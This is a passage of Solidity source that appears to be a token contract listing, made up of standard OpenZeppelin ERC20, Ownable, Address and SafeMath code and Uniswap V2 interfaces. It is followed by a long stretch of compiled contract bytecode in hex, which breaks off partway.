amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }
0x6080604052600436106103105760003560e01c8063744d15911161019c578063b32725eb116100e2578063d2fcc00111610090578063d2fcc001146109c1578063d4c989d3146109e1578063dd62ed3e14610a01578063e01af92c14610a47578063e2f4560514610a67578063f0fc6bca14610a7d578063f1b234ad14610a92578063f2fde38b14610ab257600080fd5b8063b32725eb146108cf578063b62496f5146108ef578063b80b6e891461091f578063c024666814610935578063c2e5ec0414610955578063c705c56914610975578063d1058e59146109ac57600080fd5b806398e99aa61161014a57806398e99aa6146107cf5780639a7a23d6146107ef5780639e252f001461080f578063a2e00d631461082f578063a457c2d71461084f578063a680e0bc1461086f578063a9059cbb1461088f578063a99e6f17146108af57600080fd5b8063744d1591146106dd57806386bf5639146106f3578063870bd30b146107455780638da5cb5b146107655780638e1269441461077a57806391095ccd1461079a57806395d89b41146107ba57600080fd5b806339509351116102615780635e843ad21161020f5780635e843ad2146105b7578063658c27a9146105d757806365b8dbc0146106105780636dd3d39f146106305780636ddd17131461066957806370a0823114610688578063715018a6146106a85780637319b9a2146106bd57600080fd5b806339509351146104d25780633b91ceef146104f2578063417e4fa61461051257806349bd5a5e146105325780634fbee1931461055257806357777d311461058b5780635937ea6c146105a157600080fd5b80632c1f5216116102be5780632c1f5216146104135780632c642f5114610433578063313ce5671461045557806333beafc01461047157806333f3d6281461048757806337563293146104a7578063377c27ac146104bc57600080fd5b806306fdde031461031c578063095ea7b3146103475780630dd87157146103775780631694505e1461039b57806318160ddd146103c8578063223c3947146103dd57806323b872dd146103f357600080fd5b3661031757005b600080fd5b34801561032857600080fd5b50610331610ad2565b60405161033e9190612be6565b60405180910390f35b34801561035357600080fd5b50610367610362366004612c50565b610b64565b604051901515815260200161033e565b34801561038357600080fd5b5061038d600c5481565b60405190815260200161033e565b3480156103a757600080fd5b506016546103bb906001600160a01b031681565b60405161033e9190612c7c565b3480156103d457600080fd5b50600e5461038d565b3480156103e957600080fd5b5061038d60075481565b3480156103ff57600080fd5b5061036761040e366004612c90565b610b7a565b34801561041f57600080fd5b506015546103bb906001600160a01b031681565b34801561043f57600080fd5b5061045361044e366004612c50565b610c2e565b005b34801561046157600080fd5b506040516012815260200161033e565b34801561047d57600080fd5b5061038d60065481565b34801561049357600080fd5b506104536104a2366004612c50565b610cd8565b3480156104b357600080fd5b50610453610d7d565b3480156104c857600080fd5b5061038d600a5481565b3480156104de57600080fd5b506103676104ed366004612c50565b610e3d565b3480156104fe57600080fd5b5061045361050d366004612cd1565b610e74565b34801561051e57600080fd5b5061045361052d366004612d3f565b610eae565b34801561053e57600080fd5b506017546103bb906001600160a01b031681565b34801561055e57600080fd5b5061036761056d366004612dab565b6001600160a01b031660009081526013602052604090205460ff1690565b34801561059757600080fd5b5061038d60185481565b3480156105ad57600080fd5b5061038d60085481565b3480156105c357600080fd5b506104536105d2366004612ddd565b610f4b565b3480156105e357600080fd5b506103676105f2366004612dab565b6001600160a01b03166000908152601b602052604090205460ff1690565b34801561061c57600080fd5b5061045361062b366004612dab565b610fa8565b34801561063c57600080fd5b5061036761064b366004612dab565b6001600160a01b03166000908152601c602052604090205460ff1690565b34801561067557600080fd5b50600d5461036790610100900460ff1681565b34801561069457600080fd5b5061038d6106a3366004612dab565b611225565b3480156106b457600080fd5b50610453611240565b3480156106c957600080fd5b506104536106d8366004612e1f565b61127b565b3480156106e957600080fd5b5061038d60195481565b3480156106ff57600080fd5b5061071361070e366004612dab565b611307565b604080516001600160a01b0390961686526020860194909452928401919091526060830152608082015260a00161033e565b34801561075157600080fd5b50600d546103679062010000900460ff1681565b34801561077157600080fd5b506103bb611393565b34801561078657600080fd5b50610453610795366004612e7b565b6113a2565b3480156107a657600080fd5b506104536107b5366004612eab565b61140a565b3480156107c657600080fd5b506103316114de565b3480156107db57600080fd5b506104536107ea366004612eeb565b6114ed565b3480156107fb57600080fd5b5061045361080a366004612f04565b611533565b34801561081b57600080fd5b5061045361082a366004612eeb565b6115ce565b34801561083b57600080fd5b5061045361084a366004612f32565b61162a565b34801561085b57600080fd5b5061036761086a366004612c50565b611670565b34801561087b57600080fd5b5061038d61088a366004612dab565b611709565b34801561089b57600080fd5b506103676108aa366004612c50565b611781565b3480156108bb57600080fd5b506107136108ca366004612dab565b61178e565b3480156108db57600080fd5b506104536108ea366004612f6d565b6117c7565b3480156108fb57600080fd5b5061036761090a366004612dab565b60146020526000908152604090205460ff1681565b34801561092b57600080fd5b5061038d60095481565b34801561094157600080fd5b50610453610950366004612f04565b61184b565b34801561096157600080fd5b50610453610970366004612fb9565b61192b565b34801561098157600080fd5b50610995610990366004612dab565b61196d565b60408051921515835290151560208301520161033e565b3480156109b857600080fd5b50610453611a5d565b3480156109cd57600080fd5b506104536109dc366004612f04565b611b46565b3480156109ed57600080fd5b506104536109fc366004612f04565b611ba0565b348015610a0d57600080fd5b5061038d610a1c366004612fd6565b6001600160a01b03918216600090815260126020908152604080832093909416825291909152205490565b348015610a5357600080fd5b50610453610a62366004612fb9565b611bfa565b348015610a7357600080fd5b5061038d600b5481565b348015610a8957600080fd5b50610453611c43565b348015610a9e57600080fd5b50610453610aad366004612fd6565b611ce3565b348015610abe57600080fd5b50610453610acd366004612dab565b611d4e565b606060048054610ae190613004565b80601f0160208091040260200160405190810160405280929190818152602001828054610b0d90613004565b8015610b5a5780601f10610b2f57610100808354040283529160200191610b5a565b820191906000526020600020905b815481529060010190602001808311610b3d57829003601f168201915b5050505050905090565b6000610b71338484611deb565b50600192915050565b6000610b87848484611f03565b6001600160a01b038416600090815260126020908152604080832033845290915290205482811015610c0f5760405162461bcd60e51b815260206004820152602660248201527f496e753a207472616e7366657220616d6f756e74206578636565647320616c6c6044820152656f77616e636560d01b60648201526084015b60405180910390fd5b610c238533610c1e8685613055565b611deb565b506001949350505050565b33610c37611393565b6001600160a01b031614610c5d5760405162461bcd60e51b8152600401610c069061306c565b601554610c759083906001600160a01b031683612566565b601554604051630184eee960e51b8152600481018390526001600160a01b039091169063309ddd20906024015b600060405180830381600087803b158015610cbc57600080fd5b505af1158015610cd0573d6000803e3d6000fd5b505050505050565b33610ce1611393565b6001600160a01b031614610d075760405162461bcd60e51b8152600401610c069061306c565b60405163a9059cbb60e01b81526001600160a01b0383169063a9059cbb90610d3590339085906004016130a1565b6020604051808303816000875af1158015610d54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d7891906130ba565b505050565b600d546301000000900460ff161515600114610dab5760405162461bcd60e51b8152600401610c06906130d7565b6015546000906001600160a01b03166339a9f3b9335b6040518263ffffffff1660e01b8152600401610ddd9190612c7c565b6020604051808303816000875af1158015610dfc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e20919061310a565b601554909150610e3a906001600160a01b03163383612566565b50565b3360008181526012602090815260408083206001600160a01b03871684529091528120549091610b71918590610c1e908690613123565b33610e7d611393565b6001600160a01b031614610ea35760405162461bcd60e51b8152600401610c069061306c565b601891909155601955565b33610eb7611393565b6001600160a01b031614610edd5760405162461bcd60e51b8152600401610c069061306c565b60005b83811015610f4457610f3133868684818110610efe57610efe61313b565b9050602002016020810190610f139190612dab565b858585818110610f2557610f2561313b565b90506020020135610b7a565b5080610f3c81613151565b915050610ee0565b5050505050565b33610f54611393565b6001600160a01b031614610f7a5760405162461bcd60e51b8152600401610c069061306c565b600d8054600b9390935590151560ff19931515610100029390931661ffff1990921691909117919091179055565b33610fb1611393565b6001600160a01b031614610fd75760405162461bcd60e51b8152600401610c069061306c565b6016546001600160a01b038281169116141561104f5760405162461bcd60e51b815260206004820152603160248201527f496e753a2074686520726f7574657220697320616c72656164792073657420746044820152706f20746865206e6577206164647265737360781b6064820152608401610c06565b6016546040516001600160a01b03918216918316907f8fc842bbd331dfa973645f4ed48b11683d501ebf1352708d77a5da2ab49a576e90600090a3601680546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b815290516000929163c45a01559160048083019260209291908290030181865afa1580156110e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110a919061316c565b6001600160a01b031663c9c6539630601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561116c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611190919061316c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156111dd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611201919061316c565b601780546001600160a01b0319166001600160a01b03929092169190911790555050565b6001600160a01b031660009081526011602052604090205490565b33611249611393565b6001600160a01b03161461126f5760405162461bcd60e51b8152600401610c069061306c565b6112796000612685565b565b33611284611393565b6001600160a01b0316146112aa5760405162461bcd60e51b8152600401610c069061306c565b600d8054601a805494151560ff1990951694909417909355901515620100000262ff00001993151563010000000263ff00000019951515640100000000029590951664ffff00000019909316929092179390931791909116179055565b6015546040516386bf563960e01b815260009182918291829182916001600160a01b0316906386bf563990611340908990600401612c7c565b60a060405180830381865afa15801561135d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113819190613189565b939a9299509097509550909350915050565b6000546001600160a01b031690565b336113ab611393565b6001600160a01b0316146113d15760405162461bcd60e51b8152600401610c069061306c565b6015546040516323849a5160e21b8152600481018490526001600160a01b03838116602483015290911690638e12694490604401610ca2565b33611413611393565b6001600160a01b0316146114395760405162461bcd60e51b8152600401610c069061306c565b600181151514156114ac5760155460405162241fbd60e51b81526001600160a01b0390911690630483f7a09061147590869086906004016131d2565b600060405180830381600087803b15801561148f57600080fd5b505af11580156114a3573d6000803e3d6000fd5b505